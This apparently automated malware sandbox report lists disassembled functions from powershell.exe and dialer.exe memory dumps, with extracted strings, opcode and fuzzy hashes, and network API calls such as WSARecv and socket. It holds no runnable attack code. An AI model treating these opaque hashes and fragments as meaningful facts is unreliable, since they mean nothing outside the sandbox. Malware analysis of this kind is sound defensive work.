4'q, xrefs: 07A06192
4'q, xrefs: 07A062F7

Memory Dump Source

Source File: 00000006.00000002.1737830901.0000000007A00000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a00000_powershell.jbxd

Similarity

API ID:
String ID: 4'q$4'q$4'q
API String ID: 0-3126650252
Opcode ID: 212fcf541649c9470d5a2768511833accdfd5fbefd0968e60f28fc89736513b2
Instruction ID: 8bd715167d16c8662b84ff2e433432f682dac00f6de071bab08efadd636ea2d8
Opcode Fuzzy Hash: 212fcf541649c9470d5a2768511833accdfd5fbefd0968e60f28fc89736513b2
Instruction Fuzzy Hash: 7FA1ACB4A002149FDB14DF94D450B9EBBB2AFC8308F15C829D9156F385CB76E856CBD2

Function 07A0BAB1 Relevance: 2.9, Strings: 2, Instructions: 397COMMON

Download Yara Rule

Strings

4'q, xrefs: 07A0BDA0
4'q, xrefs: 07A0BD8A

Memory Dump Source

Source File: 00000006.00000002.1737830901.0000000007A00000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a00000_powershell.jbxd

Similarity

API ID:
String ID: 4'q$4'q
API String ID: 0-1467158625
Opcode ID: 56f050c40f8a4922e8d75369df8ec7cb82b89ffb19c1ab1538d1a029bcf6f524
Instruction ID: c3d5a3a37b0e2b923c01e26059162ac7c1d8889650b0fe20166ad7ca721505cc
Opcode Fuzzy Hash: 56f050c40f8a4922e8d75369df8ec7cb82b89ffb19c1ab1538d1a029bcf6f524
Instruction Fuzzy Hash: BA026DB4A00228DFD724DB14C950BDEBBB2BB85304F1085E9DA09AB785CB75DE81CF91

Function 07A05443 Relevance: 2.9, Strings: 2, Instructions: 387COMMON

Download Yara Rule

Strings

4'q, xrefs: 07A056AE
4'q, xrefs: 07A056BA

Memory Dump Source

Source File: 00000006.00000002.1737830901.0000000007A00000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a00000_powershell.jbxd

Similarity

API ID:
String ID: 4'q$4'q
API String ID: 0-1467158625
Opcode ID: 2c31b567ffacd4207b610c0a2053e11e62d7edac42f943283a48485c74d29b7e
Instruction ID: ed638701f2de292adc0edf6c1271f15434b40ff55054f9ed8497f0e10efab01b
Opcode Fuzzy Hash: 2c31b567ffacd4207b610c0a2053e11e62d7edac42f943283a48485c74d29b7e
Instruction Fuzzy Hash: C2F193B4A012289FE724DB64C850F5ABBB3AFC4300F14C899D509AF795CB75ED468FA1

Function 07A0ADA0 Relevance: 2.9, Strings: 2, Instructions: 363COMMON

Download Yara Rule

Strings

4'q, xrefs: 07A0B00A
4'q, xrefs: 07A0AFFE

Memory Dump Source

Source File: 00000006.00000002.1737830901.0000000007A00000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a00000_powershell.jbxd

Similarity

API ID:
String ID: 4'q$4'q
API String ID: 0-1467158625
Opcode ID: 5256f77cafe665ccaab8aafbb5e3e3b375bfad9ba4570864152f19faa1d4dd6c
Instruction ID: 24148328f28e48c070ec90493a2fe5868d843afbdd8a7ef1928d6945974b28be
Opcode Fuzzy Hash: 5256f77cafe665ccaab8aafbb5e3e3b375bfad9ba4570864152f19faa1d4dd6c
Instruction Fuzzy Hash: 4EE1B2B4B002289FD724DB64CD54B9EBBB2AB84304F108499EA099F785CF75ED858FD1

Function 07A01FD0 Relevance: 1.5, Strings: 1, Instructions: 231COMMON

Download Yara Rule

Strings

tPq, xrefs: 07A0221E

Memory Dump Source

Source File: 00000006.00000002.1737830901.0000000007A00000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a00000_powershell.jbxd

Similarity

API ID:
String ID: tPq
API String ID: 0-789928099
Opcode ID: 2eb6efa3551a7a54897ca697a04b7478624b609e578f3e67c0e11ea76918b7ba
Instruction ID: bf0bbbb12d35d00619169ce2ac81050a3712c135f275a7bd967419140e4bee27
Opcode Fuzzy Hash: 2eb6efa3551a7a54897ca697a04b7478624b609e578f3e67c0e11ea76918b7ba
Instruction Fuzzy Hash: 9D81BE706093858FD7128B649828B65BFB1BF87204F1DC8DBD5A58F2E3C6768C46C792

Function 07A0D000 Relevance: 1.4, Strings: 1, Instructions: 125COMMON

Download Yara Rule

Strings

4'q, xrefs: 07A0D132

Memory Dump Source

Source File: 00000006.00000002.1737830901.0000000007A00000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a00000_powershell.jbxd

Similarity

API ID:
String ID: 4'q
API String ID: 0-1807707664
Opcode ID: 31d50289d66c3947393d498917a6e94d66f2eb188994d3dcba8c4b1dd8c3cd7e
Instruction ID: b45a0a30102e53b4140616d4e45534aa8198ed584efaaf38698eb695555159b6
Opcode Fuzzy Hash: 31d50289d66c3947393d498917a6e94d66f2eb188994d3dcba8c4b1dd8c3cd7e
Instruction Fuzzy Hash: 1B4126F2B043129FDB264BB078107697F72AFC2350F1548AAC565DB2C2DB2AD945C3E2

Function 07A03D30 Relevance: .6, Instructions: 568COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1737830901.0000000007A00000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aa1bf4a1b8a604bf8f1f5afc6e8b21a187a9f4428eb85feeb62703c7132b7165
Instruction ID: c2912d460a4ffeed521bbc6f23b0120e8be07282a15a9038a9e654052612907f
Opcode Fuzzy Hash: aa1bf4a1b8a604bf8f1f5afc6e8b21a187a9f4428eb85feeb62703c7132b7165
Instruction Fuzzy Hash: 90327EB4B01204DFDB14CB98D490B5ABBB2BF89314F14C469EA15AF395CB72EC46CB91

Function 07A04209 Relevance: .5, Instructions: 476COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1737830901.0000000007A00000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 373c762c1b0c53dd30d48f672ad6814507831b6b30c19a01b93e6b514c9e574e
Instruction ID: e6d658a60e0bd7dc41cb8fe11fd771289f18ab0a15df96a1d99df48e136284bf
Opcode Fuzzy Hash: 373c762c1b0c53dd30d48f672ad6814507831b6b30c19a01b93e6b514c9e574e
Instruction Fuzzy Hash: 7B126AB4B00245DFDB14CF98D480B6ABBB2BF89314F14C459EA15AB396CB72EC45CB91

Function 07A03988 Relevance: .2, Instructions: 247COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1737830901.0000000007A00000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e0ccb76b07c858f08f3a394e6723d1a5d6bbea720dfedea3fcf7f4106e5e4c06
Instruction ID: 248010ce193dd6f6a128f29ee1af4bd51f0dc803c111a402d29fb3b0e6cb18d7
Opcode Fuzzy Hash: e0ccb76b07c858f08f3a394e6723d1a5d6bbea720dfedea3fcf7f4106e5e4c06
Instruction Fuzzy Hash: CD9180B0B10214DFDB14DB94D450B9EBBA3AFC8304F548869E919AF781CB76EC45CBA1

Function 07A03962 Relevance: .2, Instructions: 232COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1737830901.0000000007A00000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 50a6918f6c68380510141a73a72ad81d4b57c33dbf89cfdf3f7be109b4379f55
Instruction ID: 090d1465f4920925c758e91bd818c73d9d90342447f23356a64ce14f80cfce39
Opcode Fuzzy Hash: 50a6918f6c68380510141a73a72ad81d4b57c33dbf89cfdf3f7be109b4379f55
Instruction Fuzzy Hash: B691B1B0A00214EFDB14DF94D450B9ABBB2BF89304F158469E919AF7D1CB72EC45CBA1

Function 07A0D36C Relevance: .2, Instructions: 209COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1737830901.0000000007A00000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 57cda4afb1f25e000af3e74f9d2b310381d464dcd395539598549d240d6e19a4
Instruction ID: e133e6897e1018ba1ff4d90425526106fd0272c1fd8dbd3f4f7fbaf6082425eb
Opcode Fuzzy Hash: 57cda4afb1f25e000af3e74f9d2b310381d464dcd395539598549d240d6e19a4
Instruction Fuzzy Hash: 178189B6B00205DFDB14CF94D495A9ABBB2BF89314F19C499D818AB391CB32EC41CF91

Function 07A0F284 Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1737830901.0000000007A00000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e77591edbfc041cbd868b9c71d352f24b14c1050a7fe96a099d4feb1d94e960
Instruction ID: a3653dc78f43f67c63e14f002005d210dbe78b11b35202c5001c3230e2f58a22
Opcode Fuzzy Hash: 5e77591edbfc041cbd868b9c71d352f24b14c1050a7fe96a099d4feb1d94e960
Instruction Fuzzy Hash: 354126F5A00312CFCB358F14A850B697BA26FC2314F59889ADD24AF2D6C732C845C7E2

Function 07A01F34 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1737830901.0000000007A00000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a00000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61979565bd527cd72052fe73e1b6d0896b0e80fe603a7c8e34d25af5f7fcc408
Instruction ID: 0b2e2fb2949fe4434becbec6f867f4bef0d515c37e6c47863bcd1963c10b53f9
Opcode Fuzzy Hash: 61979565bd527cd72052fe73e1b6d0896b0e80fe603a7c8e34d25af5f7fcc408
Instruction Fuzzy Hash: 27F055B9B0030A8BCB15CB50D90548AFB71EB99300B28C49EEE2E4E183CA32D806C781

Non-executed Functions

Function 07A0CA50 Relevance: 11.7, Strings: 9, Instructions: 447COMMON

Download Yara Rule

Strings

4'q, xrefs: 07A0CCE1
$q, xrefs: 07A0CE77
$q, xrefs: 07A0CE56
4'q, xrefs: 07A0CB31
4'q, xrefs: 07A0CEF1
$q, xrefs: 07A0CE87
4'q, xrefs: 07A0CB3D
4'q, xrefs: 07A0CEE5
4'q, xrefs: 07A0CCED

Memory Dump Source

Source File: 00000006.00000002.1737830901.0000000007A00000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a00000_powershell.jbxd

Similarity

API ID:
String ID: 4'q$4'q$4'q$4'q$4'q$4'q$$q$$q$$q
API String ID: 0-3999708322
Opcode ID: c36b021e3faa6fa1e6ff480c189ba7ff8342001842521d95825a71a76092e391
Instruction ID: 575665e73033de4ae1d9bf3604cb2fb1993766bf591606d74c7d6bac0677846d
Opcode Fuzzy Hash: c36b021e3faa6fa1e6ff480c189ba7ff8342001842521d95825a71a76092e391
Instruction Fuzzy Hash: DDE1E6B1B043158FCB249B68E4146EABBB2AFC6330F14C9AAD425CB291D731D945C7F1

Function 07A0E920 Relevance: 9.2, Strings: 7, Instructions: 468COMMON

Download Yara Rule

Strings

tPq, xrefs: 07A0E99D
tPq, xrefs: 07A0E9A9
$q, xrefs: 07A0E932
4'q, xrefs: 07A0EB87
$q, xrefs: 07A0E958
$q, xrefs: 07A0E964
4'q, xrefs: 07A0EB91

Memory Dump Source

Source File: 00000006.00000002.1737830901.0000000007A00000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a00000_powershell.jbxd

Similarity

API ID:
String ID: 4'q$4'q$tPq$tPq$$q$$q$$q
API String ID: 0-2432477355
Opcode ID: 9288e26e4346a67fcdccfe0bd2924eacaa250927c00c4c5845e1711ad4b23399
Instruction ID: 96463ebb484f3c76693774807f0bc62d0079a727099c2cf15b6d14442a8c1843
Opcode Fuzzy Hash: 9288e26e4346a67fcdccfe0bd2924eacaa250927c00c4c5845e1711ad4b23399
Instruction Fuzzy Hash: ABF148B2B083158FD724AB68A40136ABBF2AFC6311F188C6ED965CB291DB31DC45D7D1

Function 07A08370 Relevance: 9.0, Strings: 7, Instructions: 277COMMON

Download Yara Rule

Strings

$q, xrefs: 07A0865D
$q, xrefs: 07A08669
4'q, xrefs: 07A084C3
4'q, xrefs: 07A08695
$q, xrefs: 07A08623
4'q, xrefs: 07A084CF
4'q, xrefs: 07A08689

Memory Dump Source

Source File: 00000006.00000002.1737830901.0000000007A00000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a00000_powershell.jbxd

Similarity

API ID:
String ID: 4'q$4'q$4'q$4'q$$q$$q$$q
API String ID: 0-1721289453
Opcode ID: 68edffa425f3be5a220a42417f7fa831423d59cb1dd9c534a09b7d57084fdf28
Instruction ID: 3d0cd6af84891894805916161368be84e4a37ab7030333f973c91fe4bb7cf8ca
Opcode Fuzzy Hash: 68edffa425f3be5a220a42417f7fa831423d59cb1dd9c534a09b7d57084fdf28
Instruction Fuzzy Hash: 86915AB5B00306CFDB258B25B8147AA7BB1AFC5310F15887AD925CB2C1DB39D841CBE6

Function 07A08773 Relevance: 8.9, Strings: 7, Instructions: 153COMMON

Download Yara Rule

Strings

tPq, xrefs: 07A088E6
$q, xrefs: 07A087F3
$q, xrefs: 07A08814
4'q, xrefs: 07A089D6
$q, xrefs: 07A089A4
TQq, xrefs: 07A0897A
TQq, xrefs: 07A087D2

Memory Dump Source

Source File: 00000006.00000002.1737830901.0000000007A00000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a00000_powershell.jbxd

Similarity

API ID:
String ID: 4'q$TQq$TQq$tPq$$q$$q$$q
API String ID: 0-2980145124
Opcode ID: eb32e53b4a29585f28aa6481cca05995664d191f3133f6bb32ba359d34a29515
Instruction ID: c1ffccdf4d2e0060d24f3cca830b82c07546786407ffc3ef2be3213f75c46546
Opcode Fuzzy Hash: eb32e53b4a29585f28aa6481cca05995664d191f3133f6bb32ba359d34a29515
Instruction Fuzzy Hash: 1D51D0B0600206DFDB24CF05E5447A9B7B2BF85392F198866E8255B2D0C739EC94CBDA

Function 07A0A186 Relevance: 7.8, Strings: 6, Instructions: 292COMMON

Download Yara Rule

Strings

4'q, xrefs: 07A0A2DC
4'q, xrefs: 07A0A2F2
4'q, xrefs: 07A0A530
4'q, xrefs: 07A0A48C
4'q, xrefs: 07A0A476
4'q, xrefs: 07A0A51A

Memory Dump Source

Source File: 00000006.00000002.1737830901.0000000007A00000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a00000_powershell.jbxd

Similarity

API ID:
String ID: 4'q$4'q$4'q$4'q$4'q$4'q
API String ID: 0-1794337482
Opcode ID: df86897bfe60202002859122d34c3abb26caa5d150a5947945d9f5e9eaff933c
Instruction ID: 017edc368ea8cc4410f1e4eb2f8b486e8b8099159ce09a00efe9021b7ae79a08
Opcode Fuzzy Hash: df86897bfe60202002859122d34c3abb26caa5d150a5947945d9f5e9eaff933c
Instruction Fuzzy Hash: 83D14FB4A003289FDB24DB24D854BDEBBB2BB89304F5085D5D9096B385CB35EE85CF91

Function 07A00528 Relevance: 7.7, Strings: 6, Instructions: 182COMMON

Download Yara Rule

Strings

$q, xrefs: 07A006F4
4'q, xrefs: 07A00604
$q, xrefs: 07A0057F
4'q, xrefs: 07A005F8
$q, xrefs: 07A005C3
$q, xrefs: 07A005B7

Memory Dump Source

Source File: 00000006.00000002.1737830901.0000000007A00000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a00000_powershell.jbxd

Similarity

API ID:
String ID: 4'q$4'q$$q$$q$$q$$q
API String ID: 0-1538229613
Opcode ID: 8b8408a63fb409caa12d23b4efa3c921575eeab3b09011c6bb1bc2f407f1946e
Instruction ID: b5ffac4d1bd70e6e4f801df26d1fc5dc66862ae7f3400f91717c507567d13ac0
Opcode Fuzzy Hash: 8b8408a63fb409caa12d23b4efa3c921575eeab3b09011c6bb1bc2f407f1946e
Instruction Fuzzy Hash: B05104B57043169FDB248B69A80077BBBF6AFC5311F18C87AD865C7281DA71D842CBE1

Function 07A0E5F8 Relevance: 6.5, Strings: 5, Instructions: 239COMMON

Download Yara Rule

Strings

4'q, xrefs: 07A0E6AE
4'q, xrefs: 07A0E6A2
tPq, xrefs: 07A0E820
$q, xrefs: 07A0E784
tPq, xrefs: 07A0E814

Memory Dump Source

Source File: 00000006.00000002.1737830901.0000000007A00000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a00000_powershell.jbxd

Similarity

API ID:
String ID: 4'q$4'q$tPq$tPq$$q
API String ID: 0-2921073781
Opcode ID: 0bd522352df1cf2d60ab232c78a41935969915542d1d103ac4b6445cf9ecf5fd
Instruction ID: 733f2d26fac9283bbfac2565512877cf198576b5421082a84ffb594651898910
Opcode Fuzzy Hash: 0bd522352df1cf2d60ab232c78a41935969915542d1d103ac4b6445cf9ecf5fd
Instruction Fuzzy Hash: 49818CB5B0C3858FD7216764A41536ABFB2AFC2311F188CAEC565CB2D2DA31C845CBD2

Function 07A09068 Relevance: 6.4, Strings: 5, Instructions: 185COMMON

Download Yara Rule

Strings

$q, xrefs: 07A090E3
4'q, xrefs: 07A0933A
$q, xrefs: 07A092C2
tPq, xrefs: 07A09202
$q, xrefs: 07A09104

Memory Dump Source

Source File: 00000006.00000002.1737830901.0000000007A00000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a00000_powershell.jbxd

Similarity

API ID:
String ID: 4'q$tPq$$q$$q$$q
API String ID: 0-838716513
Opcode ID: af75b1e57d6fda317ef2d47d637260bc3cff42ea2d91b98ebb3749b946b5319e
Instruction ID: 126a2757a75b102cbfb3b0d070a8eb96166072eca38f2cd784da03874069d461
Opcode Fuzzy Hash: af75b1e57d6fda317ef2d47d637260bc3cff42ea2d91b98ebb3749b946b5319e
Instruction Fuzzy Hash: EA6183B0710206DFDB288F15E5457AB77B2AF8A351F198859E8255B2D2C772F880CBE1

Function 07A01DCC Relevance: 6.3, Strings: 5, Instructions: 86COMMON

Download Yara Rule

Strings

$q, xrefs: 07A01E03
4'q, xrefs: 07A01E4A
$q, xrefs: 07A01E1F
$q, xrefs: 07A01E2B
4'q, xrefs: 07A01E56

Memory Dump Source

Source File: 00000006.00000002.1737830901.0000000007A00000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a00000_powershell.jbxd

Similarity

API ID:
String ID: 4'q$4'q$$q$$q$$q
API String ID: 0-170447905
Opcode ID: 03f56a49fdef39a39cdcb01f58e34f5fcd9e49c11a0d2fd818bedb98089371e2
Instruction ID: dc04389cd05020b22d09ae6777ce45bff861c18c33a04c951d64a69c64b09540
Opcode Fuzzy Hash: 03f56a49fdef39a39cdcb01f58e34f5fcd9e49c11a0d2fd818bedb98089371e2
Instruction Fuzzy Hash: 8121D6B570020ECBDB254B65F4146FEBB72AFC6322F14886AD8268B2C0DB35C562C7D1

Function 07A0D1F8 Relevance: 6.3, Strings: 5, Instructions: 82COMMON

Download Yara Rule

Strings

$q, xrefs: 07A0D250
tPq, xrefs: 07A0D2B4
$q, xrefs: 07A0D26F
$q, xrefs: 07A0D218
$q, xrefs: 07A0D234

Memory Dump Source

Source File: 00000006.00000002.1737830901.0000000007A00000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a00000_powershell.jbxd

Similarity

API ID:
String ID: tPq$$q$$q$$q$$q
API String ID: 0-3665043458
Opcode ID: 03478fd898190a546bda0919afd8bc9d0c373bad82166a98230c12857ac94902
Instruction ID: ce33654a4fb59e457544a0f10fba0c9b2e67bfecc8f3d0d0d90631893df2231c
Opcode Fuzzy Hash: 03478fd898190a546bda0919afd8bc9d0c373bad82166a98230c12857ac94902
Instruction Fuzzy Hash: 912121F77003169FCB208FE4F440A65BBB4AF89710F19492AEC249B291C730D940C7E1

Function 07A07C60 Relevance: 5.5, Strings: 4, Instructions: 467COMMON

Download Yara Rule

Strings

(oq, xrefs: 07A07D46
(oq, xrefs: 07A08089
(oq, xrefs: 07A07D56
(oq, xrefs: 07A08099

Memory Dump Source

Source File: 00000006.00000002.1737830901.0000000007A00000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a00000_powershell.jbxd

Similarity

API ID:
String ID: (oq$(oq$(oq$(oq
API String ID: 0-3853041632
Opcode ID: 0aa27b7782e7e7285ec742f2dd55b9a85bc70b6efc9752f9b93b5dc7c8658abe
Instruction ID: 9300b1d8356cc73385db74457076a5263dbc734b163122dec5b7f5e037fb6bf6
Opcode Fuzzy Hash: 0aa27b7782e7e7285ec742f2dd55b9a85bc70b6efc9752f9b93b5dc7c8658abe
Instruction Fuzzy Hash: 19F137B1B04306DFDF158F64E850BAA7BA2BFC5311F14886AE9258B2D1DB35E841CBD1

Function 07A0D7D8 Relevance: 5.4, Strings: 4, Instructions: 407COMMON

Download Yara Rule

Strings

tPq, xrefs: 07A0D9F7
tPq, xrefs: 07A0DA03
tPq, xrefs: 07A0DB08
tPq, xrefs: 07A0DB14

Memory Dump Source

Source File: 00000006.00000002.1737830901.0000000007A00000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a00000_powershell.jbxd

Similarity

API ID:
String ID: tPq$tPq$tPq$tPq
API String ID: 0-3476066832
Opcode ID: da9143c7f7c59f9cf91a842863ee436b9e7d9c8425d690af9dddaad4f42ec991
Instruction ID: a8ee34643fbfa20badee8b34c58659a632965e76ea00c4b5eab30517a4ac1254
Opcode Fuzzy Hash: da9143c7f7c59f9cf91a842863ee436b9e7d9c8425d690af9dddaad4f42ec991
Instruction Fuzzy Hash: 5CE127B2B043149FD7249BA9A401B6ABBB2BFC9311F18C86AE9559F381CA71DC05C7D1

Function 07A09430 Relevance: 5.1, Strings: 4, Instructions: 115COMMON

Download Yara Rule

Strings

XRq, xrefs: 07A09491
tPq, xrefs: 07A09534
XRq, xrefs: 07A095C5
$q, xrefs: 07A094AD

Memory Dump Source

Source File: 00000006.00000002.1737830901.0000000007A00000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a00000_powershell.jbxd

Similarity

API ID:
String ID: XRq$XRq$tPq$$q
API String ID: 0-1549039314
Opcode ID: 08f12d04d380b976abbc68f97fda22bbf1d4e3b176d3798248559f28e37673c3
Instruction ID: 3080b7a2fa82cda97325af6321259a33d4d0231c08812a5e3559feaca4cb91d5
Opcode Fuzzy Hash: 08f12d04d380b976abbc68f97fda22bbf1d4e3b176d3798248559f28e37673c3
Instruction Fuzzy Hash: FD4162B5A04205DBDB248F15E145AABBBF2AF85310F19C899E8256B2D2C732FD44CBD1

Function 07A00858 Relevance: 5.1, Strings: 4, Instructions: 94COMMON

Download Yara Rule

Strings

$q, xrefs: 07A0086A
$q, xrefs: 07A008B4
$q, xrefs: 07A008C0
$q, xrefs: 07A00886

Memory Dump Source

Source File: 00000006.00000002.1737830901.0000000007A00000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a00000_powershell.jbxd

Similarity

API ID:
String ID: $q$$q$$q$$q
API String ID: 0-4102054182
Opcode ID: 5091e76a88db365b70d82778ceeb422d8ea4cb48057e95cd40da85daa5345051
Instruction ID: 58d089b4fda1c9c8667bd4fe70fde394a349c47ca253ae27a40d9f77e36fa2e6
Opcode Fuzzy Hash: 5091e76a88db365b70d82778ceeb422d8ea4cb48057e95cd40da85daa5345051
Instruction Fuzzy Hash: 322135B23003065BEB34166A6800B277AA6EFC0352F24882AF959CB3C5CD71C84583E1

Function 07A07000 Relevance: 5.1, Strings: 4, Instructions: 82COMMON

Download Yara Rule

Strings

$q, xrefs: 07A07077
$q, xrefs: 07A07093
$q, xrefs: 07A070D7
$q, xrefs: 07A070BB

Memory Dump Source

Source File: 00000006.00000002.1737830901.0000000007A00000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a00000_powershell.jbxd

Similarity

API ID:
String ID: $q$$q$$q$$q
API String ID: 0-4102054182
Opcode ID: 92988b9d34093cdada3f5f096846a2484a77922b0d5ddc8ce94221fc581f5a93
Instruction ID: 4ddcc09da293f4b56d80d1d67cd4d1266863182436e61397780b99841510c92d
Opcode Fuzzy Hash: 92988b9d34093cdada3f5f096846a2484a77922b0d5ddc8ce94221fc581f5a93
Instruction Fuzzy Hash: 9621D3B1904347CFDF218F65BD50266BBB0BF82310F1949ABD864872D2D735A548C7A2

Function 07A01280 Relevance: 5.0, Strings: 4, Instructions: 46COMMON

Download Yara Rule

Strings

$q, xrefs: 07A012CA
4'q, xrefs: 07A012EB
$q, xrefs: 07A012D6
4'q, xrefs: 07A012F7

Memory Dump Source

Source File: 00000006.00000002.1737830901.0000000007A00000.00000040.00000800.00020000.00000000.sdmp, Offset: 07A00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7a00000_powershell.jbxd

Similarity

API ID:
String ID: 4'q$4'q$$q$$q
API String ID: 0-3199993180
Opcode ID: a764f860f6e294fe908b76ba0b943703e91908ec807769f7fcef332d738f4c22
Instruction ID: f3769f85057a55127036fa45156917debf2d9f7ead964da4de9e1682ded55ad2
Opcode Fuzzy Hash: a764f860f6e294fe908b76ba0b943703e91908ec807769f7fcef332d738f4c22
Instruction Fuzzy Hash: F801B16160E3DA8FC32743B878202996FB25B9321072E09D7C8D1DF2D7CA194D09C3AB

Analysis Process: dialer.exePID: 7640, Parent PID: 4056COMMON

Execution Graph

Execution Coverage:	2.4%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	1.5%
Total number of Nodes:	1578
Total number of Limit Nodes:	17

Executed Functions

Function 053C9F64 Relevance: 12.1, APIs: 8, Instructions: 122
networkregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 053C9F7B
memset.MSVCRT ref: 053C9FC7
WSARecv.WS2_32(FFE0458D,00000000,00000001,?,00000000,053C21F9,00000000), ref: 053C9FF5
GetLastError.KERNEL32(?,?,?,?,?,00000001), ref: 053CA01F
WSAGetLastError.WS2_32(?,?,?,?,?,00000001), ref: 053CA02C
WSAGetLastError.WS2_32(?,?,?,?,?,00000001), ref: 053CA036
WSAGetLastError.WS2_32(?,?,?,?,?,00000001), ref: 053CA03E
RegisterWaitForSingleObject.KERNEL32(053C2219,30C48300,053C9EAD,053C21E9,000000FF,00000004), ref: 053CA088

Memory Dump Source

Source File: 0000000A.00000002.2611366483.00000000053C1000.00000020.00001000.00020000.00000000.sdmp, Offset: 053C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_53c1000_dialer.jbxd

Yara matches

Similarity

API ID: ErrorLast$memset$ObjectRecvRegisterSingleWait
String ID:
API String ID: 2020750497-0
Opcode ID: 34458d1a3015dc83604c7ebef42cae1ca68275a6e10826622ca14d66477db249
Instruction ID: cb46a719875bf3da871633f3a21b20384a3a9793ac15f8872eb3cf248e345ab6
Opcode Fuzzy Hash: 34458d1a3015dc83604c7ebef42cae1ca68275a6e10826622ca14d66477db249
Instruction Fuzzy Hash: 82419D32500618AFD721DF24D849BAABFF8FF05354F104669F942DA5D0DBB0EA04CB91

Function 053C9A57 Relevance: 10.6, APIs: 7, Instructions: 64
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

socket.WS2_32(00000010,00000001,00000000), ref: 053C9A6C
WSAGetLastError.WS2_32(?,?,?,053C9A53,053CAD04,00000002,053CAD04,00000010,053CAD04,053CAD81), ref: 053C9A79

Part of subcall function 053C9B02: ioctlsocket.WS2_32(053CAD04,8004667E,053CAD81), ref: 053C9B1D
